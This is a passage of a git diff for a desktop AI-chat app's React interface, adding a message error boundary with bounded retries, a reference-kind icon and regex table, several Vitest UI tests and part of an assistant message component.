+    expect(attempts).toBe(mountAttempts + perRetry * 5)
+    expect(vi.getTimerCount()).toBe(0)
+    expect(container.innerHTML).toBe('')
+
+    act(() => {
+      vi.advanceTimersByTime(1000)
+    })
+
+    expect(attempts).toBe(mountAttempts + perRetry * 5)
+    spy.mockRestore()
+  })
+
+  it('resets the retry budget after a successful recovery', () => {
+    // The cap bounds a single streak of consecutive transient catches. A
+    // recovered boundary must get a fresh budget, otherwise enough separate
+    // races over a long session would permanently blank the turn.
+    vi.useFakeTimers()
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    let failing = true
+
+    function MaybeBoom() {
+      if (failing) {
+        throw lookupError
+      }
+
+      return <div>turn content</div>
+    }
+
+    const { rerender } = render(
+      <MessageRenderBoundary resetKey="a">
+        <MaybeBoom />
+      </MessageRenderBoundary>
+    )
+
+    // The mount is the first streak; five more follow. With a lifetime
+    // budget the sixth streak would find the cap exhausted and stay blank.
+    // Each rerender needs a fresh element: React bails out on an identical
+    // element reference and the child would never re-render (or re-throw).
+    for (let streak = 0; streak < 6; streak += 1) {
+      expect(screen.queryByText('turn content')).toBeNull()
+
+      failing = false
+
+      act(() => {
+        vi.advanceTimersByTime(0)
+      })
+
+      expect(screen.getByText('turn content')).toBeTruthy()
+
+      failing = true
+
+      rerender(
+        <MessageRenderBoundary resetKey="a">
+          <MaybeBoom />
+        </MessageRenderBoundary>
+      )
+    }
+
+    spy.mockRestore()
+  })
+
+  it('does not schedule a retry for non-transient errors', () => {
+    vi.useFakeTimers()
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    outerCaught.length = 0
+
+    render(
+      <RecordingBoundary>
+        <MessageRenderBoundary resetKey="a">
+          <Boom error={new Error('boom')} />
+        </MessageRenderBoundary>
+      </RecordingBoundary>
+    )
+
+    // MessageRenderBoundary re-threw, the outer boundary caught it, and no
+    // retry timer was armed for a failure that cannot heal itself.
+    expect(outerCaught.map(error => error.message)).toContain('boom')
+    expect(vi.getTimerCount()).toBe(0)
+    spy.mockRestore()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/message-render-boundary.tsx b/ui-desktop/src/components/assistant-ui/message-render-boundary.tsx
new file mode 100644
index 000000000..fa19368e3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/message-render-boundary.tsx
@@ -0,0 +1,103 @@
+import { Component, type ReactNode } from 'react'
+
+// `@assistant-ui/store`'s index-keyed child-scope lookup (`useClientLookup`)
+// throws — rather than returning undefined — when a subscriber reads an index
+// that the message/parts list no longer has. This races during high-frequency
+// store replacement (session switch mid-stream, gateway reconnect replay): a
+// subscriber from the previous, longer list is still in React's notification
+// queue and reads one slot past the new, shorter array before it can unmount.
+// The throw is transient and self-heals on the next consistent snapshot, but
+// without a local boundary it unwinds to the root and blanks the whole app.
+// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
+const isTransientLookupError = (error: unknown): boolean =>
+  error instanceof Error && /(useClientLookup|tapClient(Lookup|Resource)).*out of bounds/.test(error.message)
+
+// Consecutive transient retries before giving up and waiting for a structural
+// resetKey change (the pre-retry behavior). The race heals on the next
+// consistent store snapshot, so one retry almost always recovers; the cap
+// only bounds a pathological loop where the lookup stays out of bounds.
+const MAX_TRANSIENT_RETRIES = 5
+
+interface Props {
+  // Changes whenever the message list mutates STRUCTURALLY (ids/roles/count);
+  // remounting clears the caught error so the next consistent render recovers
+  // silently. Deliberately NOT the per-token signature: this prop reaches
+  // every turn's boundary, so a value that ticks with content length would
+  // re-render every boundary — and reconcile every turn's subtree — on every
+  // streamed token (measured: 540 wasted Block renders per explain() sample
+  // with two threads streaming).
+  resetKey: string
+  children: ReactNode
+}
+
+export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
+  state: { error: Error | null } = { error: null }
+
+  private retryTimer: number | null = null
+
+  private transientRetries = 0
+
+  static getDerivedStateFromError(error: Error) {
+    return { error }
+  }
+
+  componentDidCatch(error: Error) {
+    // The resetKey path below only recovers on a STRUCTURAL change, but this
+    // race also fires mid-turn while ids/roles/count are stable: without a
+    // self-retry the boundary renders null for the rest of the turn (or
+    // until an unrelated message add/remove). Retry on a timer, not rAF —
+    // a parked renderer never fires frames, and a timer always runs.
+    if (!isTransientLookupError(error) || this.transientRetries >= MAX_TRANSIENT_RETRIES) {
+      return
+    }
+
+    if (typeof window === 'undefined') {
+      return
+    }
+
+    this.transientRetries += 1
+    this.retryTimer = window.setTimeout(() => {
+      this.retryTimer = null
+      this.setState({ error: null })
+    }, 0)
+  }
+
+  componentDidUpdate(prev: Props, prevState: { error: Error | null }) {
+    if (this.state.error && prev.resetKey !== this.props.resetKey) {
+      this.setState({ error: null })
+
+      return
+    }
+
+    if (prevState.error && !this.state.error) {
+      // Recovered (retry or structural reset): reset the retry budget and
+      // drop any retry timer the structural reset just made redundant.
+      this.transientRetries = 0
+
+      if (this.retryTimer !== null) {
+        window.clearTimeout(this.retryTimer)
+        this.retryTimer = null
+      }
+    }
+  }
+
+  componentWillUnmount() {
+    if (this.retryTimer !== null) {
+      window.clearTimeout(this.retryTimer)
+    }
+  }
+
+  render() {
+    if (this.state.error) {
+      // Only swallow the transient store race; re-throw anything else so real
+      // bugs still reach the root error boundary.
+      if (!isTransientLookupError(this.state.error)) {
+        throw this.state.error
+      }
+
+      return null
+    }
+
+    return this.props.children
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/reference-kinds.ts b/ui-desktop/src/components/assistant-ui/reference-kinds.ts
new file mode 100644
index 000000000..7d6c39758
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/reference-kinds.ts
@@ -0,0 +1,173 @@
+/**
+ * The composer's reference vocabulary: one place that decides what a `@file:`,
+ * a `@folder:`, a picked `/skill`, or any other reference LOOKS like — its
+ * icon, its accent, and the word for its kind.
+ *
+ * Both surfaces that show a reference read from this table:
+ *
+ *   - the trigger popover row (browsing for one)
+ *   - the chip (having picked one)
+ *
+ * so a thing is the same color with the same glyph wherever you meet it. They
+ * used to be two hand-maintained icon maps and two unrelated row layouts, which
+ * is why `@` and `/` looked like features from different apps.
+ */
+
+/** Every kind of thing the composer can reference. */
+export type ReferenceKind =
+  | 'file'
+  | 'folder'
+  | 'url'
+  | 'image'
+  | 'tool'
+  | 'line'
+  | 'terminal'
+  | 'session'
+  | 'git'
+  | 'diff'
+  | 'staged'
+  | 'command'
+  | 'skill'
+  | 'theme'
+  | 'emoji'
+  | 'other'
+
+interface ReferenceStyle {
+  /** Codicon name — the popover row's leading glyph. */
+  codicon: string
+  /** Tabler outline path data — the inline SVG a rendered reference uses. */
+  paths: string[]
+  /** Section label when a surface groups by this kind. */
+  label: string
+}
+
+// Colour is NOT here. A reference's accent lives in styles.css keyed on
+// `data-ref="<kind>"`, so a theme restyles every reference at once and no hex
+// or color-mix() ships from TypeScript. This table owns the two things CSS
+// can't express: which glyph, and what to call the kind.
+
+const FILE_PATHS = [
+  'M14 3v4a1 1 0 0 0 1 1h4',
+  'M17 21h-10a2 2 0 0 1 -2 -2v-14a2 2 0 0 1 2 -2h7l5 5v11a2 2 0 0 1 -2 2',
+  'M9 9l1 0',
+  'M9 13l6 0',
+  'M9 17l6 0'
+]
+
+const TERMINAL_PATHS = ['M5 7l5 5l-5 5', 'M12 19l7 0']
+
+export const REFERENCE_STYLES: Record<ReferenceKind, ReferenceStyle> = {
+  file: { codicon: 'file', paths: FILE_PATHS, label: 'Files' },
+  folder: {
+    codicon: 'folder',
+    paths: [
+      'M5 19l2.757 -7.351a1 1 0 0 1 .936 -.649h12.307a1 1 0 0 1 .986 1.164l-.996 5.211a2 2 0 0 1 -1.964 1.625h-14.026a2 2 0 0 1 -2 -2v-11a2 2 0 0 1 2 -2h4l3 3h7a2 2 0 0 1 2 2v2'
+    ],
+    label: 'Folders'
+  },
+  url: {
+    codicon: 'globe',
+    paths: [
+      'M9 15l6 -6',
+      'M11 6l.463 -.536a5 5 0 0 1 7.071 7.072l-.534 .464',
+      'M13 18l-.397 .534a5.068 5.068 0 0 1 -7.127 0a4.972 4.972 0 0 1 0 -7.071l.524 -.463'
+    ],
+    label: 'Links'
+  },
+  image: {
+    codicon: 'file-media',
+    paths: [
+      'M15 8h.01',
+      'M3 6a3 3 0 0 1 3 -3h12a3 3 0 0 1 3 3v12a3 3 0 0 1 -3 3h-12a3 3 0 0 1 -3 -3v-12',
+      'M3 16l5 -5c.928 -.893 2.072 -.893 3 0l5 5',
+      'M14 14l1 -1c.928 -.893 2.072 -.893 3 0l3 3'
+    ],
+    label: 'Images'
+  },
+  tool: {
+    codicon: 'tools',
+    paths: ['M7 10h3v-3l-3.5 -3.5a6 6 0 0 1 8 8l6 6a2 2 0 0 1 -3 3l-6 -6a6 6 0 0 1 -8 -8l3.5 3.5'],
+    label: 'Tools'
+  },
+  line: {
+    codicon: 'list-selection',
+    paths: ['M5 9l14 0', 'M5 15l14 0', 'M11 4l-4 16', 'M17 4l-4 16'],
+    label: 'Lines'
+  },
+  terminal: { codicon: 'terminal', paths: TERMINAL_PATHS, label: 'Terminal' },
+  session: {
+    codicon: 'comment-discussion',
+    paths: ['M4 4h16v2.172a2 2 0 0 1 -.586 1.414l-4.414 4.414v7l-6 2v-8.5l-4.48 -4.928a2 2 0 0 1 -.52 -1.345v-2.227'],
+    label: 'Sessions'
+  },
+  git: { codicon: 'git-branch', paths: ['M7 18l0 -12', 'M7 8a2 2 0 1 0 0 -4a2 2 0 0 0 0 4'], label: 'Git' },
+  diff: { codicon: 'diff', paths: ['M12 5l0 14', 'M5 12l14 0'], label: 'Changes' },
+  staged: { codicon: 'diff-added', paths: ['M12 5l0 14', 'M5 12l14 0'], label: 'Staged' },
+  command: { codicon: 'terminal', paths: TERMINAL_PATHS, label: 'Commands' },
+  skill: { codicon: 'zap', paths: ['M13 3l0 7l6 0l-8 11l0 -7l-6 0l8 -11'], label: 'Skills' },
+  theme: {
+    codicon: 'symbol-color',
+    paths: [
+      'M3 21v-4a4 4 0 1 1 4 4h-4',
+      'M21 3a16 16 0 0 0 -12.8 10.2',
+      'M21 3a16 16 0 0 1 -10.2 12.8',
+      'M10.6 9a9 9 0 0 1 4.4 4.4'
+    ],
+    label: 'Themes'
+  },
+  emoji: { codicon: 'smiley', paths: [], label: 'Emoji' },
+  other: { codicon: 'symbol-misc', paths: FILE_PATHS, label: 'Other' }
+}
+
+const KNOWN = new Set(Object.keys(REFERENCE_STYLES))
+
+/** Coerce any incoming type string to a kind we have a style for. */
+export function referenceKind(type: string | undefined): ReferenceKind {
+  return type && KNOWN.has(type) ? (type as ReferenceKind) : 'other'
+}
+
+export function referenceStyle(type: string | undefined): ReferenceStyle {
+  return REFERENCE_STYLES[referenceKind(type)]
+}
+
+/**
+ * The kinds that travel in message text as `@kind:value`. A subset of the table
+ * above: `command`/`skill`/`theme` arrive via `/`, and `diff`/`staged`/`emoji`
+ * have no value to carry.
+ */
+export const WIRE_REFERENCE_KINDS = ['file', 'folder', 'url', 'image', 'tool', 'line', 'terminal', 'session'] as const
+
+/**
+ * The one pattern that recognises a reference in text.
+ *
+ * A value is quoted whenever it needs to be — `@url:` always, and any path with
+ * a space — so the quoted forms are tried BEFORE bare `\S+`, or a quoted value
+ * would end at the first space and strand the rest as prose.
+ */
+const REFERENCE_PATTERN = /@(file|folder|url|image|tool|line|terminal|session):(`[^`\n]+`|"[^"\n]+"|'[^'\n]+'|\S+)/
+
+/**
+ * A fresh matcher for every surface that has to find references in text: the
+ * composer hydrating a draft, the sent bubble, the edit composer.
+ *
+ * New instance per call on purpose — a shared `/g` regex carries `lastIndex`
+ * between callers, which is how a scanner silently skips the first reference in
+ * the next string it's handed.
+ */
+export function referenceRe(): RegExp {
+  return new RegExp(REFERENCE_PATTERN.source, 'g')
+}
+
+/** Remove reference-only lines when comparing visible message text. */
+// Anchored + non-global: no shared `lastIndex` state (the hazard referenceRe()
+// exists to avoid), and hoisting skips a RegExp construction per call — this
+// runs on both sides of every message comparison in the reconcile loops.
+const REFERENCE_LINE_RE = new RegExp(`^(?:${REFERENCE_PATTERN.source})$`)
+
+export function textWithoutReferenceLines(text: string): string {
+  return text
+    .split('\n')
+    .filter(line => !REFERENCE_LINE_RE.test(line.trimEnd()))
+    .join('\n')
+    .trim()
+}
diff --git a/ui-desktop/src/components/assistant-ui/session-ref-open.test.tsx b/ui-desktop/src/components/assistant-ui/session-ref-open.test.tsx
new file mode 100644
index 000000000..e56bea290
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/session-ref-open.test.tsx
@@ -0,0 +1,66 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { __resetSessionLinkTitleCache } from '@/lib/session-link-title'
+
+import { DirectiveContent } from './directive-text'
+import { MarkdownTextContent } from './markdown-text'
+
+const openSession = vi.fn()
+
+vi.mock('@/app/open-session', () => ({
+  openSession: (...args: unknown[]) => openSession(...args)
+}))
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+
+afterEach(() => {
+  cleanup()
+  openSession.mockClear()
+  delete desktopWindow.clawcodexDesktop
+  __resetSessionLinkTitleCache()
+})
+
+// Both surfaces render a session ref differently — an inline link in agent
+// prose, a chip in the user's own message — but either one opens the session
+// it names via the shared door (focus if on screen, else a stacked tab).
+describe('session refs open the session', () => {
+  it('opens the session from an agent-written link', async () => {
+    render(<MarkdownTextContent isRunning={false} text="Picked up in @session:work/20260101_abc123 last night." />)
+
+    fireEvent.click(await screen.findByTitle('work/20260101_abc123'))
+
+    await vi.waitFor(() => expect(openSession).toHaveBeenCalledWith('20260101_abc123', expect.any(Function), 'tab'))
+  })
+
+  it('opens the session from a chip in the user transcript', async () => {
+    render(<DirectiveContent text="pick up @session:work/20260101_abc123 please" />)
+
+    const chip = screen.getByTitle('work/20260101_abc123')
+
+    expect(chip.tagName).toBe('BUTTON')
+    fireEvent.click(chip)
+
+    await vi.waitFor(() => expect(openSession).toHaveBeenCalledWith('20260101_abc123', expect.any(Function), 'tab'))
+  })
+})
+
+// A url the user sent renders as a chip too, and it opens in the browser — the
+// same door the composer's hover pill uses, so a link behaves the same before
+// and after send.
+describe('url refs open externally', () => {
+  it('opens a url chip in the user transcript', () => {
+    const openExternal = vi.fn().mockResolvedValue(undefined)
+
+    desktopWindow.clawcodexDesktop = { openExternal } as unknown as Window['clawcodexDesktop']
+
+    render(<DirectiveContent text="see @url:`https://example.com/docs` when you can" />)
+
+    const chip = screen.getByTitle('https://example.com/docs')
+
+    expect(chip.tagName).toBe('BUTTON')
+    fireEvent.click(chip)
+
+    expect(openExternal).toHaveBeenCalledWith('https://example.com/docs')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread-remount.test.tsx b/ui-desktop/src/components/assistant-ui/thread-remount.test.tsx
new file mode 100644
index 000000000..88454751e
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread-remount.test.tsx
@@ -0,0 +1,125 @@
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { act, render, screen, waitFor } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { Thread } from './thread'
+
+class NoopResizeObserver {
+  observe() {}
+
+  unobserve() {}
+
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', NoopResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+Element.prototype.animate = function animate() {
+  return {
+    cancel: () => {},
+    finished: Promise.resolve()
+  } as unknown as Animation
+}
+
+// jsdom returns 0 for offset*; the virtualizer reads those to size its
+// viewport. Fall through to client* or a sane default so virtualized
+// items render (same stub as streaming.test.tsx).
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+const MESSAGES: ThreadMessage[] = [
+  {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'hello from the user' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage,
+  {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'stable assistant reply' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+]
+
+function Harness({
+  onBranchInNewChat,
+  onCancel
+}: {
+  onBranchInNewChat: (messageId: string) => void
+  onCancel: () => void
+}) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: MESSAGES,
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread onBranchInNewChat={onBranchInNewChat} onCancel={onCancel} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('thread message mount stability', () => {
+  // Regression: the desktop controller re-renders every 15s (status
+  // snapshot poll) and used to pass freshly-created callbacks down to
+  // <Thread/>. Those callbacks were deps of the `messageComponents`
+  // useMemo, so new component *types* were created each poll and React
+  // unmounted/remounted every visible message — shiki re-highlighted
+  // code blocks and the whole thread visibly jumped.
+  it('keeps message DOM nodes mounted when callback props get new identities', async () => {
+    const { rerender } = render(<Harness onBranchInNewChat={() => {}} onCancel={() => {}} />)
+
+    await waitFor(() => {
+      expect(screen.getByText('stable assistant reply')).toBeTruthy()
+      expect(screen.getByText('hello from the user')).toBeTruthy()
+    })
+
+    const assistantBefore = screen.getByText('stable assistant reply')
+    const userBefore = screen.getByText('hello from the user')
+
+    // Same data, new callback identities — exactly what a parent
+    // re-render driven by an unrelated state update produces.
+    await act(async () => {
+      rerender(<Harness onBranchInNewChat={() => {}} onCancel={() => {}} />)
+    })
+
+    expect(screen.getByText('stable assistant reply')).toBe(assistantBefore)
+    expect(screen.getByText('hello from the user')).toBe(userBefore)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/assistant-message.test.tsx b/ui-desktop/src/components/assistant-ui/thread/assistant-message.test.tsx
new file mode 100644
index 000000000..2f39c2a2e
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/assistant-message.test.tsx
@@ -0,0 +1,92 @@
+// Bug #2: the Branch-in-new-chat button used to render unconditionally even
+// when its handler was a no-op (session-tile.tsx passed `() => undefined`
+// for branched/tiled chats, where nested branching isn't supported). That
+// left a visibly clickable button that silently did nothing. The fix makes
+// AssistantMessage's action bar hide the button entirely when no handler is
+// supplied, matching how onDismissError/onRestoreToMessage already behave.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+afterEach(() => {
+  cleanup()
+})
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'question one' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'done' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function Harness({ onBranchInNewChat }: { onBranchInNewChat?: (messageId: string) => void }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [userMessage(), assistantMessage()],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread onBranchInNewChat={onBranchInNewChat} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('AssistantMessage branch button visibility (bug #2 fix)', () => {
+  it('shows the Branch in new chat button when a handler is provided (open chat)', async () => {
+    render(<Harness onBranchInNewChat={() => undefined} />)
+
+    expect(await screen.findByRole('button', { name: 'Branch in new chat' })).toBeTruthy()
+  })
+
+  it('hides the Branch in new chat button when no handler is provided (session-tile / branched chat)', async () => {
+    render(<Harness />)
+
+    // Wait for the assistant message to actually mount before asserting
+    // absence, so a missing button isn't just a false negative from an
+    // unrendered message.
+    await screen.findByText('done')
+
+    expect(screen.queryByRole('button', { name: 'Branch in new chat' })).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/assistant-message.tsx b/ui-desktop/src/components/assistant-ui/thread/assistant-message.tsx
new file mode 100644
index 000000000..043a60401
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/assistant-message.tsx
@@ -0,0 +1,341 @@
+import {
+  ActionBarPrimitive,
+  BranchPickerPrimitive,
+  ErrorPrimitive,
+  MessagePrimitive,
+  useAuiState,
+  useMessageRuntime
+} from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { type FC, useCallback, useMemo, useState } from 'react'
+
+import { ChangedFilesCard } from '@/components/assistant-ui/thread/changed-files-card'
+import {
+  contentHasVisibleText,
+  messageContentText,
+  pickPrimaryPreviewTarget
+} from '@/components/assistant-ui/thread/content'
+import { MESSAGE_PARTS_COMPONENTS } from '@/components/assistant-ui/thread/message-parts'
+import { ReactionPicker } from '@/components/assistant-ui/thread/message-reactions'
+import { ResponseLoadingIndicator, StreamStallIndicator } from '@/components/assistant-ui/thread/status'
+import { formatMessageTimestamp } from '@/components/assistant-ui/thread/timestamp'
+import { useMessageReactions, useTapbackDoubleClick } from '@/components/assistant-ui/thread/use-message-reactions'
+import { TooltipIconButton } from '@/components/assistant-ui/tooltip-icon-button'
+import { PreviewAttachment } from '@/components/chat/preview-attachment'
+import { Codicon } from '@/components/ui/codicon'
+import { CopyButton } from '@/components/ui/copy-button'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { AudioLines, GitForkIcon, Loader2Icon, RefreshCwIcon, SmilePlusIcon, VolumeXIcon, XIcon } from '@/lib/icons'
+import { extractPreviewTargets } from '@/lib/preview-targets'
+import { formatAgo } from '@/lib/time'
+import { useEnterAnimation } from '@/lib/use-enter-animation'
+import { cn } from '@/lib/utils'
+import { playSpeechText, stopVoicePlayback } from '@/lib/voice-playback'
+import { notifyError } from '@/store/notifications'
+import { $voicePlayback } from '@/store/voice-playback'
+
+// Stable empty identity for the settled-parts selector — a fresh [] per render
+// would re-derive the changed-files card on every message re-render.
+const EMPTY_PARTS: readonly unknown[] = []
+
+interface MessageActionProps {
+  messageId: string
+  /** Lazy accessor — reads the live message text at action time. Passing the
+   *  text itself as a prop forces the whole footer to re-render on every
+   *  streaming delta flush (the text changes ~30×/s), which profiling showed
+   *  was a large slice of per-token script time on long transcripts. */
+  getMessageText: () => string
+  onBranchInNewChat?: (messageId: string) => void
+}
+
+export const AssistantMessage: FC<{
+  onBranchInNewChat?: (messageId: string) => void
+  onDismissError?: (messageId: string) => void
+}> = ({ onBranchInNewChat, onDismissError }) => {
+  const messageId = useAuiState(s => s.message.id)
+  const messageRuntime = useMessageRuntime()
+  const { t } = useI18n()
+
+  // PERF: this component must NOT subscribe to the streaming text. Every
+  // selector here returns a value that stays referentially stable across
+  // token flushes (booleans, status strings, '' while running), so the
+  // 30 Hz delta stream only re-renders the markdown part and the tiny
+  // StreamStallIndicator leaf — not the footer/preview/root subtree.
+  const messageStatus = useAuiState(s => s.message.status?.type)
+  const isRunning = messageStatus === 'running'
+  const isPlaceholder = useAuiState(s => s.message.status?.type === 'running' && s.message.content.length === 0)
+  const hasVisibleText = useAuiState(s => contentHasVisibleText(s.message.content))
+  // Sealed mid-turn commentary keeps its text but not the footer, so a
+  // tool-heavy turn doesn't grow a copy/refresh bar per paragraph (see
+  // ChatMessage.interim).
+  const isInterim = useAuiState(s => s.message.metadata?.custom?.interim === true)
+
+  // The thinking/stall indicator belongs to the TAIL of the thread, period. A
+  // stale pending bubble mid-transcript (a turn that ended without its settle
+  // event, a steer race) must never show one — a spinner above a later user
+  // message reads as the agent answering out of order. Booleans are stable
+  // across token flushes, so this selector adds no streaming re-renders.
+  const isLastMessage = useAuiState(s => s.thread.messages[s.thread.messages.length - 1]?.id === s.message.id)
+
+  // Preview targets only materialize once the turn completes — while running
+  // the selector returns '' (stable), so per-token flushes skip the regex
+  // scan and the re-render it would cause.
+  const completedText = useAuiState(s =>
+    s.message.status?.type === 'running' ? '' : messageContentText(s.message.content)
+  )
+
+  const previewTargets = useMemo(() => {
+    if (!completedText || !/(https?:\/\/|file:\/\/)/i.test(completedText)) {
+      return []
+    }
+
+    return pickPrimaryPreviewTarget(extractPreviewTargets(completedText))
+  }, [completedText])
+
+  const getMessageText = useCallback(() => messageContentText(messageRuntime.getState().content), [messageRuntime])
+
+  // Cursor's changed-files card only appears once the turn settles: while the
+  // agent is still editing, the tool rows narrate each patch and a card that
+  // grew a row per write would thrash the transcript. `[]` while running keeps
+  // this selector referentially stable across the 30 Hz delta stream.
+  //
+  // It also only rides the LAST turn. The card is a "here's what just landed"
+  // summary, not a per-turn artifact: leaving one behind on every reply would
+  // stack a wall of stale cards down the transcript. Sending the next message
+  // retires it — the working tree it describes is already history by then.
+  const settledParts = useAuiState(s => {
+    const isLastMessage = s.thread.messages[s.thread.messages.length - 1]?.id === s.message.id
+
+    return s.message.status?.type === 'running' || !isLastMessage ? EMPTY_PARTS : s.message.parts
+  })
+
+  const enterRef = useEnterAnimation(isRunning, `assistant-message:${messageId}`)
+
+  // Double-click the reply to heart it (iMessage). Undefined while reactions
+  // are off, so the root carries no listener at all.
+  const onDoubleClick = useTapbackDoubleClick(messageId, 'assistant')
+
+  return (
+    <MessagePrimitive.Root
+      className="group flex w-full min-w-0 max-w-full flex-col gap-0 self-start overflow-hidden"
+      data-role="assistant"
+      data-slot="aui_assistant-message-root"
+      data-streaming={isRunning ? 'true' : undefined}
+      onDoubleClick={onDoubleClick}
+      ref={enterRef}
+    >
+      <div
+        className="wrap-anywhere min-w-0 max-w-full overflow-hidden text-pretty text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground"
+        data-slot="aui_assistant-message-content"
+      >
+        {/* Todos render in the composer status stack now, not inline. */}
+        <MessagePrimitive.Parts components={MESSAGE_PARTS_COMPONENTS} />
+        {isLastMessage && (isPlaceholder ? <ResponseLoadingIndicator /> : isRunning && <StreamStallIndicator />)}
+        {previewTargets.length > 0 && (
+          <div className="mt-3 flex flex-wrap gap-2">
+            {previewTargets.map(target => (
+              <PreviewAttachment key={target} source="explicit-link" target={target} />
+            ))}
+          </div>
+        )}
+        <MessagePrimitive.Error>
+          <ErrorPrimitive.Root
+            className="mt-1.5 flex items-start gap-1.5 text-[0.78rem] leading-5 text-[color-mix(in_srgb,var(--dt-destructive)_78%,var(--ui-text-secondary))]"
+            role="alert"
+          >
+            <ErrorPrimitive.Message className="min-w-0 flex-1" />
+            {onDismissError && (
+              <TooltipIconButton
+                className="-my-0.5 shrink-0 text-current opacity-70 hover:opacity-100"
+                onClick={() => onDismissError(messageId)}
+                side="top"
+                tooltip={t.assistant.thread.dismissError}
+              >
+                <XIcon className="size-3.5" />
+              </TooltipIconButton>
+            )}
+          </ErrorPrimitive.Root>
+        </MessagePrimitive.Error>
+      </div>
+      {hasVisibleText && !isInterim && (
+        <AssistantFooter getMessageText={getMessageText} messageId={messageId} onBranchInNewChat={onBranchInNewChat} />
+      )}
+      {/* Last thing in the turn — under the action bar, the way Cursor ends a
+          turn on its summary rather than burying it above the controls. */}
+      <ChangedFilesCard parts={settledParts} />
+    </MessagePrimitive.Root>
+  )
+}
+
+const AssistantActionBar: FC<MessageActionProps> = ({ messageId, getMessageText, onBranchInNewChat }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+
+  const [pickerOpen, setPickerOpen] = useState(false)
+  const { enabled: reactionsEnabled, react, reactions: shownReactions } = useMessageReactions(messageId, 'assistant')
+
+  const pickEmoji = useCallback(
+    (emoji: null | string) => {
+      setPickerOpen(false)
+      react(emoji)
+    },
+    [react]
+  )
+
+  return (
+    <div className="relative flex w-full shrink-0 items-center justify-end gap-1.5">
+      <ActionBarPrimitive.Root
+        className={
+          // NOTE: intentionally NOT `hideWhenRunning`. That prop unmounts the
+          // bar while the thread streams, which collapses every completed
+          // assistant message's footer by this bar's height and shifts the
+          // whole conversation when the turn resolves. The bar is already
+          // invisible by default (opacity-0 + pointer-events-none, reveals on
+          // hover), so keeping it mounted reserves stable layout height with
+          // no visual change during streaming.
